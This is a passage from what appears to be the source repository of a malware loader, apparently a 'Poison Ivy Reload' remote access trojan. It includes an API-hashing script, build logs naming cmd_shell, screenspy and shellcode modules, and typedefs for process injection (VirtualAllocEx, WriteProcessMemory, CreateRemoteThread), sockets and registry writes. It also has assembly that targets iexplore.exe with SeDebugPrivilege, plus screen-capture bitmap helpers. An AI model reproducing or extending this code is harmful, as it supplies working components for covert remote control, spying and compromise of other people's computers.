Explorer\\iexplore.exe'\n\tpop [rdi.expand_str]\n\tPUSH_ANSI_STRING 'SeDebugPrivilege'\n\tpop [rdi.sedebugname]\n\n\tadd rsp, 0x20\n\tret\nendp\n\ninit_size = $ - init"
  },
  {
    "path": "loader v1.0/functions/calc_hash.py",
    "content": "#coding=utf8\nimport os\nimport sys\n\nif __name__ == '__main__':\n\tif len(sys.argv) != 2:\n\t\tprint \"python %s <funcname1[,funcname2][,funcname3]...>\" % sys.argv[0]\n\t\tsys.exit(1)\n\t\n\thash = 0\n\tfuncnames = sys.argv[1].split(\",\")\n\tfor f in funcnames:\n\t\tfor c in f:\n\t\t\thash = hash * 131 + ord(c)\n\t\t\thash = hash & 0xffffffff\n\t\tprint \"#define\\t%s_Hash\\t\\t\\t\\t0x%X\" % (f, hash & 0x7fffffff)\n\t\thash = 0"
  },
  {
    "path": "loader v1.0/functions/convert_typedef.py",
    "content": "# coding=utf-8\n# Ҫֹ޸һЩ\nf = open(\"functions.txt\", \"r\")\n\nreplaces_keyword = {\n\t\"WINBASEAPI\" : \"\",\n\t\"WINADVAPI\" : \"\",\n\t\"FAR\" : \"\",\n\t\"__out\": \"\",\n\t\"_opt\" : \"\",\n\t\"\\r\": \" \",\n\t\"\\t\": \" \",\n\t\"\\n\": \" \"\n}\n\ntarget = f.read()\n\nf.close()\n\nfor k in replaces_keyword:\n\ttarget = target.replace(k, replaces_keyword[k])\n\nret_type = \"\"\ncall_type = \"\"\nfunc_name = \"\"\nparams = \"\"\n\ncurrent = 0\n\nprev = \"\"\n\nfor c in target:\n\tif c == \" \":\n\t\tif prev in [\"\", \" \"]:\n\t\t\tcontinue\n\t\telif current != 3:\n\t\t\tcurrent = current + 1\n\t\telif current == 3:\n\t\t\tparams = params + c\n\telif c == '(' and current != 3:\n\t\tparams = '('\n\t\tcurrent = current + 1\n\telif c == ';':\n\t\tprint \"typedef %s (%s *_%s)%s;\" % (ret_type, call_type, func_name, params)\n\t\tret_type = \"\"\n\t\tcall_type = \"\"\n\t\tfunc_name = \"\"\n\t\tparams = \"\"\n\n\t\tcurrent = 0\n\n\t\tprev = \"\"\n\t\tcontinue\n\telse:\n\t\tif current == 0:\n\t\t\tret_type = ret_type + c\n\t\telif current == 1:\n\t\t\tcall_type = call_type + c\n\t\telif current == 2:\n\t\t\tfunc_name = func_name + c\n\t\telif current == 3:\n\t\t\tparams = params + c\n\tprev = c\n"
  },
  {
    "path": "loader v1.0/functions/functions/ReadMe.txt",
    "content": "﻿========================================================================\n    控制台应用程序：functions 项目概述\n========================================================================\n\n应用程序向导已为您创建了此 functions 应用程序。\n\n本文件概要介绍组成 functions 应用程序的每个文件的内容。\n\n\nfunctions.vcxproj\n    这是使用应用程序向导生成的 VC++ 项目的主项目文件，其中包含生成该文件的 Visual C++ 的版本信息，以及有关使用应用程序向导选择的平台、配置和项目功能的信息。\n\nfunctions.vcxproj.filters\n    这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中，通过这种关联，在特定节点下以分组形式显示具有相似扩展名的文件。例如，“.cpp”文件与“源文件”筛选器关联。\n\nfunctions.cpp\n    这是主应用程序源文件。\n\n/////////////////////////////////////////////////////////////////////////////\n其他标准文件:\n\nStdAfx.h, StdAfx.cpp\n    这些文件用于生成名为 functions.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。\n\n/////////////////////////////////////////////////////////////////////////////\n其他注释:\n\n应用程序向导使用“TODO:”注释来指示应添加或自定义的源代码部分。\n\n/////////////////////////////////////////////////////////////////////////////\n"
  },
  {
    "path": "loader v1.0/functions/functions/Release/functions.Build.CppClean.log",
    "content": "e:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\vc120.pdb\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\thumbnail.obj\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\information.obj\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\screenspy.obj\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\process.obj\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\functions.obj\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\cmd_shell.obj\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\shellcode_main.obj\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\release\\functions.exe\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\release\\functions.map\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\release\\functions.pdb\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\functions.tlog\\cl.command.1.tlog\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\functions.tlog\\cl.read.1.tlog\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\functions.tlog\\cl.write.1.tlog\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\functions.tlog\\link.command.1.tlog\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\functions.tlog\\link.read.1.tlog\ne:\\vx_project\\poison ivy reload\\loader v1.0\\functions\\functions\\release\\functions.tlog\\link.write.1.tlog\n"
  },
  {
    "path": "loader v1.0/functions/functions/Release/functions.log",
    "content": "﻿生成启动时间为 2019/6/10 15:44:56。\n     1>项目“E:\\VX_Project\\Poison Ivy Reload\\loader v1.0\\functions\\functions\\functions.vcxproj”在节点 2 上(Rebuild 个目标)。\n     1>ClCompile:\n         C:\\Program Files (x86)\\Microsoft Visual Studio 12.0\\VC\\bin\\CL.exe /c /Zi /nologo /W3 /WX- /sdl /O1 /Ob1 /Oy- /D WIN32 /D NDEBUG /D _CONSOLE /D _LIB /D _USING_V110_SDK71_ /D _MBCS /Gm- /MT /GS- /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Fo\"Release\\\\\" /Fd\"Release\\vc120.pdb\" /Gd /TC /analyze- /errorReport:prompt /D _CRT_SECURE_NO_WARNINGS cmd_shell.c functions.c process.c screenspy.c shellcode_main.c information.c thumbnail.c\n     1>cl : 命令行 warning D9025: 正在重写“/sdl”(用“/GS-”)\n         cmd_shell.c\n         functions.c\n         process.c\n         screenspy.c\n         shellcode_main.c\n         information.c\n         thumbnail.c\n         正在生成代码...\n       Link:\n         C:\\Program Files (x86)\\Microsoft Visual Studio 12.0\\VC\\bin\\link.exe /ERRORREPORT:PROMPT /OUT:\"E:\\VX_Project\\Poison Ivy Reload\\loader v1.0\\functions\\Release\\functions.exe\" /INCREMENTAL:NO /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /MANIFESTUAC:\"level='asInvoker' uiAccess='false'\" /manifest:embed /DEBUG /PDB:\"E:\\VX_Project\\Poison Ivy Reload\\loader v1.0\\functions\\Release\\functions.pdb\" /MAP /SUBSYSTEM:CONSOLE,\"5.01\" /OPT:REF /OPT:ICF /ORDER:@\"order.txt\" /LTCG /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:\"E:\\VX_Project\\Poison Ivy Reload\\loader v1.0\\functions\\Release\\functions.lib\" /MACHINE:X86 /SAFESEH:NO Release\\cmd_shell.obj\n         Release\\functions.obj\n         Release\\process.obj\n         Release\\screenspy.obj\n         Release\\shellcode_main.obj\n         Release\\information.obj\n         Release\\thumbnail.obj\n         LINK : 已指定 /LTCG，但不需要生成代码；从链接命令行中移除 /LTCG 以提高链接器性能\n         functions.vcxproj -> E:\\VX_Project\\Poison Ivy Reload\\loader v1.0\\functions\\Release\\functions.exe\n     1>已完成生成项目“E:\\VX_Project\\Poison Ivy Reload\\loader v1.0\\functions\\functions\\functions.vcxproj”(Rebuild 个目标)的操作。\n\n生成成功。\n\n已用时间 00:00:01.32\n"
  },
  {
    "path": "loader v1.0/functions/functions/Release/functions.tlog/functions.lastbuildstate",
    "content": "#TargetFrameworkVersion=v4.0:PlatformToolSet=v120_xp:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit\nRelease|Win32|E:\\VX_Project\\Poison Ivy Reload\\loader v1.0\\functions\\|\n"
  },
  {
    "path": "loader v1.0/functions/functions/apis.inc",
    "content": "typedef HMODULE(WINAPI *_LoadLibraryA)(__in LPCSTR lpLibFileName);\ntypedef HMODULE(WINAPI *_LoadLibraryW)(__in LPCWSTR lpLibFileName);\ntypedef PROC(WINAPI *_GetProcAddress)(__in HMODULE hModule,\n                                      __in LPCSTR lpProcName);\ntypedef HANDLE(WINAPI *_GetCurrentProcess)(VOID);\ntypedef BOOL(WINAPI *_CloseHandle)(__in HANDLE hObject);\ntypedef HANDLE(WINAPI *_OpenProcess)(__in DWORD dwDesiredAccess,\n                                     __in BOOL bInheritHandle,\n                                     __in DWORD dwProcessId);\ntypedef int(WINAPI *_lstrlenA)(__in LPCSTR lpString);\ntypedef int(WINAPI *_lstrlenW)(__in LPCWSTR lpString);\ntypedef int(WINAPI *_lstrcmpiW)(__in LPCWSTR lpString1, __in LPCWSTR lpString2);\ntypedef LPVOID(WINAPI *_HeapAlloc)(__in HANDLE hHeap, __in DWORD dwFlags,\n                                   __in SIZE_T dwBytes);\ntypedef LPVOID(WINAPI *_HeapReAlloc)(__inout HANDLE hHeap, __in DWORD dwFlags,\n                                     __deref LPVOID lpMem, __in SIZE_T dwBytes);\ntypedef BOOL(WINAPI *_HeapFree)(__inout HANDLE hHeap, __in DWORD dwFlags,\n                                __drv_freesMem(Mem)\n                                    __post __notvalid __deref LPVOID lpMem);\ntypedef HANDLE(WINAPI *_GetProcessHeap)(VOID);\ntypedef HMODULE(WINAPI *_GetModuleHandleA)(__in LPCSTR lpModuleName);\ntypedef DWORD(WINAPI *_GetModuleFileNameW)(__in HMODULE hModule,\n                                           LPWSTR lpFilename, __in DWORD nSize);\ntypedef HANDLE(WINAPI *_CreateMutexA)(\n    __in LPSECURITY_ATTRIBUTES lpMutexAttributes, __in BOOL bInitialOwner,\n    __in LPCSTR lpName);\ntypedef DWORD(WINAPI *_GetLastError)(VOID);\ntypedef VOID(WINAPI *_Sleep)(__in DWORD dwMilliseconds);\ntypedef LPVOID(WINAPI *_VirtualAllocEx)(__in HANDLE hProcess,\n                                        __in LPVOID lpAddress,\n                                        __in SIZE_T dwSize,\n                                        __in DWORD flAllocationType,\n                                        __in DWORD flProtect);\ntypedef BOOL(WINAPI *_VirtualFreeEx)(__in HANDLE hProcess,\n                                     __in LPVOID lpAddress, __in SIZE_T dwSize,\n                                     __in DWORD dwFreeType);\ntypedef BOOL(WINAPI *_WriteProcessMemory)(__in HANDLE hProcess,\n                                          __in LPVOID lpBaseAddress,\n                                          __in_bcount(nSize) LPCVOID lpBuffer,\n                                          __in SIZE_T nSize,\n                                          SIZE_T *lpNumberOfBytesWritten);\ntypedef DWORD(WINAPI *_WaitForSingleObject)(__in HANDLE hHandle,\n                                            __in DWORD dwMilliseconds);\ntypedef HANDLE(WINAPI *_CreateToolhelp32Snapshot)(DWORD dwFlags,\n                                                  DWORD th32ProcessID);\ntypedef BOOL(WINAPI *_Process32FirstW)(HANDLE hSnapshot,\n                                       LPPROCESSENTRY32W lppe);\ntypedef BOOL(WINAPI *_Process32NextW)(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);\ntypedef DWORD(WINAPI *_ExpandEnvironmentStringsW)(__in LPCWSTR lpSrc,\n                                                  LPWSTR lpDst,\n                                                  __in DWORD nSize);\ntypedef BOOL(WINAPI *_CreateProcessW)(\n    __in LPCWSTR lpApplicationName, __inout LPWSTR lpCommandLine,\n    __in LPSECURITY_ATTRIBUTES lpProcessAttributes,\n    __in LPSECURITY_ATTRIBUTES lpThreadAttributes, __in BOOL bInheritHandles,\n    __in DWORD dwCreationFlags, __in LPVOID lpEnvironment,\n    __in LPCWSTR lpCurrentDirectory, __in LPSTARTUPINFOW lpStartupInfo,\n    LPPROCESS_INFORMATION lpProcessInformation);\ntypedef HANDLE(WINAPI *_CreateRemoteThread)(\n    __in HANDLE hProcess, __in LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress,\n    __in LPVOID lpParameter, __in DWORD dwCreationFlags, LPDWORD lpThreadId);\ntypedef VOID(WINAPI *_RtlZeroMemory)(IN VOID UNALIGNED *Destination,\n                                     IN SIZE_T Length);\ntypedef VOID(WINAPI *_RtlMoveMemory)(IN VOID UNALIGNED *Destination,\n                                     IN CONST VOID UNALIGNED *Source,\n                                     IN SIZE_T Length);\ntypedef NTSTATUS(WINAPI *_RtlCompressBuffer)(\n    USHORT CompressionFormatAndEngine, PUCHAR UncompressedBuffer,\n    ULONG UncompressedBufferSize, PUCHAR CompressedBuffer,\n    ULONG CompressedBufferSize, ULONG UncompressedChunkSize,\n    PULONG FinalCompressedSize, PVOID WorkSpace);\ntypedef NTSTATUS(WINAPI *_RtlGetCompressionWorkSpaceSize)(\n    USHORT CompressionFormatAndEngine, PULONG CompressBufferWorkSpaceSize,\n    PULONG CompressFragmentWorkSpaceSize);\ntypedef NTSTATUS(WINAPI *_RtlDecompressBuffer)(USHORT CompressionFormat,\n                                               PUCHAR UncompressedBuffer,\n                                               ULONG UncompressedBufferSize,\n                                               PUCHAR CompressedBuffer,\n                                               ULONG CompressedBufferSize,\n                                               PULONG FinalUncompressedSize);\ntypedef BOOL(WINAPI *_OpenProcessToken)(__in HANDLE ProcessHandle,\n                                        __in DWORD DesiredAccess,\n                                        __deref_out PHANDLE TokenHandle);\ntypedef BOOL(WINAPI *_LookupPrivilegeValueA)(__in LPCSTR lpSystemName,\n                                             __in LPCSTR lpName, PLUID lpLuid);\ntypedef BOOL(WINAPI *_AdjustTokenPrivileges)(__in HANDLE TokenHandle,\n                                             __in BOOL DisableAllPrivileges,\n                                             __in PTOKEN_PRIVILEGES NewState,\n                                             __in DWORD BufferLength,\n                                             PTOKEN_PRIVILEGES PreviousState,\n                                             PDWORD ReturnLength);\ntypedef LSTATUS(APIENTRY *_RegOpenKeyExA)(__in HKEY hKey, __in LPCSTR lpSubKey,\n                                          __in DWORD ulOptions,\n                                          __in REGSAM samDesired,\n                                          PHKEY phkResult);\ntypedef LSTATUS(APIENTRY *_RegCreateKeyExW)(\n    __in HKEY hKey, __in LPCWSTR lpSubKey, __reserved DWORD Reserved,\n    __in LPWSTR lpClass, __in DWORD dwOptions, __in REGSAM samDesired,\n    __in CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult,\n    LPDWORD lpdwDisposition);\ntypedef LSTATUS(APIENTRY *_RegSetValueExW)(\n    __in HKEY hKey, __in LPCWSTR lpValueName, __reserved DWORD Reserved,\n    __in DWORD dwType, __in_bcount(cbData) CONST BYTE *lpData,\n    __in DWORD cbData);\ntypedef LSTATUS(APIENTRY *_RegQueryValueExW)(__in HKEY hKey,\n                                             __in LPCWSTR lpValueName,\n                                             __reserved LPDWORD lpReserved,\n                                             LPDWORD lpType, LPBYTE lpData,\n                                             __inout LPDWORD lpcbData);\ntypedef LSTATUS(APIENTRY *_RegCloseKey)(__in HKEY hKey);\ntypedef int(PASCAL *_WSAStartup)(__in WORD wVersionRequired,\n                                 LPWSADATA lpWSAData);\ntypedef int(PASCAL *_WSACleanup)(void);\ntypedef u_short(PASCAL *_htons)(__in u_short hostshort);\ntypedef u_long(PASCAL *_inet_addr)(__in const char *cp);\ntypedef struct hostent *(PASCAL *_gethostbyname)(__in_z const char *name);\ntypedef SOCKET(PASCAL *_socket)(__in int af, __in int type, __in int protocol);\ntypedef int(PASCAL *_closesocket)(IN SOCKET s);\ntypedef int(PASCAL *_connect)(__in SOCKET s,\n                              __in_bcount(namelen) const struct sockaddr *name,\n                              __in int namelen);\ntypedef int(PASCAL *_setsockopt)(__in SOCKET s, __in int level,\n                                 __in int optname,\n                                 __in_bcount(optlen) const char *optval,\n                                 __in int optlen);\ntypedef int(PASCAL *_send)(__in SOCKET s, __in_bcount(len) const char *buf,\n                           __in int len, __in int flags);\ntypedef int(PASCAL *_recv)(__in SOCKET s, char *buf, __in int len,\n                           __in int flags);\ntypedef int(PASCAL *_select)(__in int nfds, __inout fd_set *readfds,\n                             __inout fd_set *writefds,\n                             __inout fd_set *exceptfds,\n                             __in const struct timeval *timeout);\ntypedef LPWSTR(WINAPI *_lstrcpyW)(LPWSTR lpString1, LPCWSTR lpString2);\ntypedef LPSTR(WINAPI *_lstrcpyA)(LPSTR lpString1, LPCSTR lpString2);\ntypedef int(WINAPI *_MessageBoxA)(__in_opt HWND hWnd, __in_opt LPCSTR lpText,\n                                  __in_opt LPCSTR lpCaption, __in UINT uType);\ntypedef int(WINAPI *_WideCharToMultiByte)(\n    __in UINT CodePage, __in DWORD dwFlags,\n    __in_ecount(cchWideChar) LPCWSTR lpWideCharStr, __in int cchWideChar,\n    __out_bcount_opt(cbMultiByte) __transfer(lpWideCharStr)\n        LPSTR lpMultiByteStr,\n    __in int cbMultiByte, __in_opt LPCSTR lpDefaultChar,\n    __out_opt LPBOOL lpUsedDefaultChar);\ntypedef DWORD(WINAPI *_GetTickCount)(VOID);\n\ntypedef int(PASCAL *_gethostname)(__out_bcount_part(namelen,\n                                                    return ) char FAR *name,\n                                  __in int namelen);\ntypedef char *(PASCAL *_inet_ntoa)(__in struct in_addr in);\ntypedef UINT(WINAPI *_GetSystemDirectoryA)(\n    __out_ecount_part_opt(uSize, return +1) LPSTR lpBuffer, __in UINT uSize);\ntypedef UINT(WINAPI *_GetSystemDirectoryW)(\n    __out_ecount_part_opt(uSize, return +1) LPWSTR lpBuffer, __in UINT uSize);\ntypedef DWORD(APIENTRY *_GetFileVersionInfoSizeA)(\n    __in LPCSTR lptstrFilename,  /* Filename of version stamped file */\n    __out_opt LPDWORD lpdwHandle /* Information for use by GetFileVersionInfo */\n);\ntypedef BOOL(APIENTRY *_GetFileVersionInfoA)(\n    __in LPCSTR lptstrFilename,       /* Filename of version stamped file */\n    __reserved DWORD dwHandle,        /* Information from GetFileVersionSize */\n    __in DWORD dwLen,                 /* Length of buffer for info */\n    __out_bcount(dwLen) LPVOID lpData /* Buffer to place the data structure */\n);\ntypedef BOOL(APIENTRY *_VerQueryValueA)(__in LPCVOID pBlock,\n                                        __in LPCSTR lpSubBlock,\n                                        LPVOID *lplpBuffer, __out PUINT puLen);\ntypedef int(__cdecl *_wnsprintfA)(__out_ecount(cchDest) LPSTR pszDest,\n                                  __in int cchDest,\n                                  __in __format_string LPCSTR pszFmt, ...);\ntypedef BOOL(WINAPI *_GetComputerNameW)(__out_ecount_part_opt(*nSize,\n                                                              *nSize + 1)\n                                            LPWSTR lpBuffer,\n                                        __inout LPDWORD nSize);\ntypedef BOOL(WINAPI *_GetUserNameW)(__out_ecount_part_opt(*pcbBuffer,\n                                                          *pcbBuffer)\n                                        LPWSTR lpBuffer,\n                                    __inout LPDWORD pcbBuffer);\ntypedef BOOL(WINAPI *_GlobalMemoryStatusEx)(__out LPMEMORYSTATUSEX lpBuffer);\ntypedef int(WINAPI *_GetLocaleInfoA)(__in LCID     Locale,\n\t\t\t\t\t\t\t\t\t __in LCTYPE   LCType,\n\t\t\t\t\t\t\t\t\t __out_ecount_opt(cchData) LPSTR  lpLCData,\n\t\t\t\t\t\t\t\t\t __in int      cchData);\ntypedef int(WINAPI *_GetLocaleInfoW)(__in LCID Locale, __in LCTYPE LCType,\n                                     __out_ecount_opt(cchData) LPWSTR lpLCData,\n                                     __in int cchData);\ntypedef LPSTR(WINAPI *_lstrcatA)(__inout LPSTR lpString1,\n\t\t\t\t\t\t\t\t__in    LPCSTR lpString2\n\t\t\t\t\t\t\t\t);\ntypedef LPSTR(WINAPI *_lstrcatW)(__inout LPWSTR lpString1,\n\t\t\t\t\t\t\t\t__in    LPCWSTR lpString2\n\t\t\t\t\t\t\t\t);\ntypedef LSTATUS(APIENTRY *_RegQueryValueExA)(__in HKEY hKey,\n\t\t\t\t\t\t\t\t\t\t\t __in_opt LPCSTR lpValueName,\n\t\t\t\t\t\t\t\t\t\t\t __reserved LPDWORD lpReserved,\n\t\t\t\t\t\t\t\t\t\t\t __out_opt LPDWORD lpType,\n\t\t\t\t\t\t\t\t\t\t\t __out_bcount_part_opt(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData,\n\t\t\t\t\t\t\t\t\t\t\t __inout_opt LPDWORD lpcbData\n\t\t\t\t\t\t\t\t\t\t\t );\ntypedef BOOL(WINAPI *_CreatePipe)(__out_ecount_full(1) PHANDLE hReadPipe,\n\t\t\t\t\t\t\t\t  __out_ecount_full(1) PHANDLE hWritePipe,\n\t\t\t\t\t\t\t\t  __in_opt LPSECURITY_ATTRIBUTES lpPipeAttributes,\n\t\t\t\t\t\t\t\t  __in     DWORD nSize\n\t\t\t\t\t\t\t\t  );\ntypedef BOOL(WINAPI *_GetExitCodeProcess)(__in  HANDLE hProcess, __out LPDWORD lpExitCode);\ntypedef BOOL(WINAPI *_PeekNamedPipe)(__in      HANDLE hNamedPipe,\n\t\t\t\t\t\t\t\t\t __out_bcount_part_opt(nBufferSize, *lpBytesRead) LPVOID lpBuffer,\n\t\t\t\t\t\t\t\t\t __in      DWORD nBufferSize,\n\t\t\t\t\t\t\t\t\t __out_opt LPDWORD lpBytesRead,\n\t\t\t\t\t\t\t\t\t __out_opt LPDWORD lpTotalBytesAvail,\n\t\t\t\t\t\t\t\t\t __out_opt LPDWORD lpBytesLeftThisMessage\n\t\t\t\t\t\t\t\t\t );\ntypedef BOOL(WINAPI *_ReadFile)(\n    __in        HANDLE hFile,\n    __out_bcount_part_opt(nNumberOfBytesToRead, *lpNumberOfBytesRead) __out_data_source(FILE) LPVOID lpBuffer,\n    __in        DWORD nNumberOfBytesToRead,\n    __out_opt   LPDWORD lpNumberOfBytesRead,\n    __inout_opt LPOVERLAPPED lpOverlapped\n    );\ntypedef BOOL (WINAPI *_WriteFile)(\n    __in        HANDLE hFile,\n    __in_bcount_opt(nNumberOfBytesToWrite) LPCVOID lpBuffer,\n    __in        DWORD nNumberOfBytesToWrite,\n    __out_opt   LPDWORD lpNumberOfBytesWritten,\n    __inout_opt LPOVERLAPPED lpOverlapped\n    );\ntypedef BOOL(WINAPI *_TerminateProcess)(\n    __in HANDLE hProcess,\n    __in UINT uExitCode\n    );\ntypedef HBITMAP(WINAPI *_CreateCompatibleBitmap)( __in HDC hdc, __in int cx, __in int cy);\ntypedef int(WINAPI *_GetDIBits)( __in HDC hdc, __in HBITMAP hbm, __in UINT start, __in UINT cLines,  __out_opt LPVOID lpvBits, __inout_xcount(sizeof(BITMAPINFOHEADER)) LPBITMAPINFO lpbmi, __in UINT usage);  // SAL actual size of lpbmi is computed from structure elements\ntypedef BOOL(WINAPI *_DeleteObject)( __in HGDIOBJ ho);\ntypedef HBITMAP(WINAPI *_CreateDIBSection)(__in_opt HDC hdc, __in CONST BITMAPINFO *lpbmi, __in UINT usage, __deref_opt_out VOID **ppvBits, __in_opt HANDLE hSection, __in DWORD offset);\ntypedef HDC(WINAPI *_CreateCompatibleDC)( __in_opt HDC hdc);\ntypedef HGDIOBJ(WINAPI *_SelectObject)(__in HDC hdc, __in HGDIOBJ h);\ntypedef BOOL(WINAPI *_DeleteDC)( __in HDC hdc);\ntypedef BOOL(WINAPI *_SetRect)(\n    __out LPRECT lprc,\n    __in int xLeft,\n    __in int yTop,\n    __in int xRight,\n    __in int yBottom);\ntypedef DWORD(WINAPI *_GetCurrentThreadId)(\n    VOID\n    );\ntypedef BOOL(WINAPI *_GetUserObjectInformationA)(\n    __in HANDLE hObj,\n    __in int nIndex,\n    __out_bcount_opt(nLength) PVOID pvInfo,\n    __in DWORD nLength,\n    __out_opt LPDWORD lpnLengthNeeded);\ntypedef int(WINAPI *_lstrcmpiA)(\n    __in LPCSTR lpString1,\n    __in LPCSTR lpString2\n    );\ntypedef BOOL(WINAPI *_SetThreadDesktop)(\n     __in HDESK hDesktop);\ntypedef BOOL(WINAPI *_CloseDesktop)(\n    __in HDESK hDesktop);\ntypedef int(WINAPI *_GetSystemMetrics)(\n    __in int nIndex);\ntypedef HWND(WINAPI *_GetDesktopWindow)(\n    VOID);\ntypedef HDC(WINAPI *_GetDC)(\n    __in_opt HWND hWnd);\ntypedef int(WINAPI *_ReleaseDC)(\n    __in_opt HWND hWnd,\n    __in HDC hDC);\ntypedef BOOL(WINAPI *_SetRectEmpty)(\n    __out LPRECT lprc);\ntypedef BOOL(WINAPI *_BitBlt)( __in HDC hdc, __in int x, __in int y, __in int cx, __in int cy, __in_opt HDC hdcSrc, __in int x1, __in int y1, __in DWORD rop);\ntypedef BOOL(WINAPI *_GetCursorPos)(\n    __out LPPOINT lpPoint);\ntypedef BOOL(WINAPI *_StretchBlt)(__in HDC hdcDest, __in int xDest, __in int yDest, __in int wDest, __in int hDest, __in_opt HDC hdcSrc, __in int xSrc, __in int ySrc, __in int wSrc, __in int hSrc, __in DWORD rop);\ntypedef HDESK(WINAPI *_GetThreadDesktop)(\n    __in DWORD dwThreadId);\ntypedef HDESK(WINAPI *_OpenInputDesktop)(\n    __in DWORD dwFlags,\n    __in BOOL fInherit,\n    __in ACCESS_MASK dwDesiredAccess);\ntypedef UINT(WINAPI *_GetSystemDirectoryA)(\n    LPSTR lpBuffer,\n    __in UINT uSize\n    );\n\tUINT\ntypedef (WINAPI *_GetWindowsDirectoryW)(\n    LPWSTR lpBuffer,\n    __in UINT uSize\n    );\ntypedef BOOL(WINAPI *_CopyFileW)(\n    __in LPCWSTR lpExistingFileName,\n    __in LPCWSTR lpNewFileName,\n    __in BOOL bFailIfExists\n    );\ntypedef BOOL(WINAPI *_DeleteFileW)(\n    _In_ LPCWSTR lpFileName\n    );"
  },
  {
    "path": "loader v1.0/functions/functions/bitmap.inc",
    "content": "PBITMAPINFO __cdecl bitmap_create_info(global_data_t *global_data, HDC dc, int bit_count, int width, int height, int *bi_size) {\n  /*\n  bit_count Ϊ1 (ڰ׶ɫͼ) 4 (16 ɫͼ) 8 (256 ɫͼ) ʱɫָɫС\n  bit_count Ϊ16 (16 λɫͼ) 24 (ɫͼ, ֧) 32 (32 λɫͼ) ʱûɫ\n  */\n  int color_num;\n\n  color_num = bit_count <= 8 ? 1 << bit_count : 0;\n  *bi_size = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));\n\n  BITMAPINFO *bmp_info;\n  BITMAPINFOHEADER *bmp_info_header;\n\n  bmp_info = (BITMAPINFO *)alloc_memory(*bi_size);\n  bmp_info_header = &bmp_info->bmiHeader;\n\n  bmp_info_header->biSize = sizeof(BITMAPINFOHEADER);\n  bmp_info_header->biWidth = width;\n  bmp_info_header->biHeight = height;\n  bmp_info_header->biPlanes = 1;\n  bmp_info_header->biBitCount = bit_count;\n  bmp_info_header->biCompression = BI_RGB;\n  bmp_info_header->biXPelsPerMeter = 0;\n  bmp_info_header->biYPelsPerMeter = 0;\n  bmp_info_header->biClrUsed = 0;\n  bmp_info_header->biClrImportant = 0;\n  // Compute the number of bytes in the array of color \n  // indices and store the result in biSizeImage. \n  // For Windows NT, the width must be DWORD aligned unless \n  // the bitmap is RLE compressed. This example shows this. \n  // For Windows 95/98/Me, the width must be WORD aligned unless the \n  // bitmap is RLE compressed.\n  bmp_info_header->biSizeImage = (((width * bit_count + 31) & ~31) >> 3) * bmp_info_header->biHeight;\n\n  // 16λԺûɫֱӷ\n  if (bit_count >= 16) return bmp_info;\n\n  /*\n  Windows 95Windows 98lpvBitsΪNULLGetDIBitsɹBITMAPINFOṹôֵΪλͼܹɨ\n\n  Windows NTlpvBitsΪNULLGetDIBitsɹBITMAPINFOṹôֵΪ0ִʧܣô0ֵWindows NTøϢcallGetLastError\n  */\n  HBITMAP bmp;\n\n  // ߲Ϊ0\n  bmp = xCreateCompatibleBitmap(dc, 1, 1);\n  // ȡcolor table\n  xGetDIBits(dc, bmp, 0, 0, 0, bmp_info, DIB_RGB_COLORS);\n\n  xDeleteObject(bmp);\n\n  return bmp_info;\n}\n\nbitmap_t * __cdecl bitmap_new(global_data_t *global_data, HDC src_dc, int bit_count, int width, int height) {\n  switch (bit_count) {\n  case 1:\n  case 4:\n  case 8:\n  case 16:\n  case 32:\n    break;\n  default:\n    bit_count = 8;\n    break;\n  }\n\n  bitmap_t *ret = alloc_memory(sizeof(bitmap_t));\n\n  ret->global_data = global_data;\n  ret->width = width;\n  ret->height = height;\n  ret->bit_count = bit_count;\n  ret->info = bitmap_create_info(global_data, src_dc, bit_count, width, height, &ret->info_size);\n  ret->bitmap = xCreateDIBSection(src_dc, ret->info, DIB_RGB_COLORS, &ret->bits, 0, 0);\n  ret->dc = xCreateCompatibleDC(src_dc);\n  ret->file_header.bfType = 0x4d42;\n  ret->file_header.bfSize = ret->info->bmiHeader.biSize + ret->info->bmiHeader.biSizeImage;\n  ret->file_header.bfOffBits = sizeof(BITMAPFILEHEADER) + ret->info->bmiHeader.biSize;\n  ret->file_header.bfReserved1 = 0;\n  ret->file_header.bfReserved2 = 0;\n  ret->bitmap_file_size = sizeof(BITMAPFILEHEADER) + ret->info_size + ret->info->bmiHeader.biSizeImage;\n  xSelectObject(ret->dc, ret->bitmap);\n\n  return ret;\n}\n\n#define global_data bmp->global_data\n\nvoid __cdecl bitmap_free(bitmap_t *bmp) {\n  xDeleteDC(bmp->dc);\n  xDeleteObject(bmp->bitmap);\n\n  free_memory(bmp->info);\n}\n\nvoid * __cdecl bitmap_scan_line(bitmap_t *bmp, int line) {\n  if 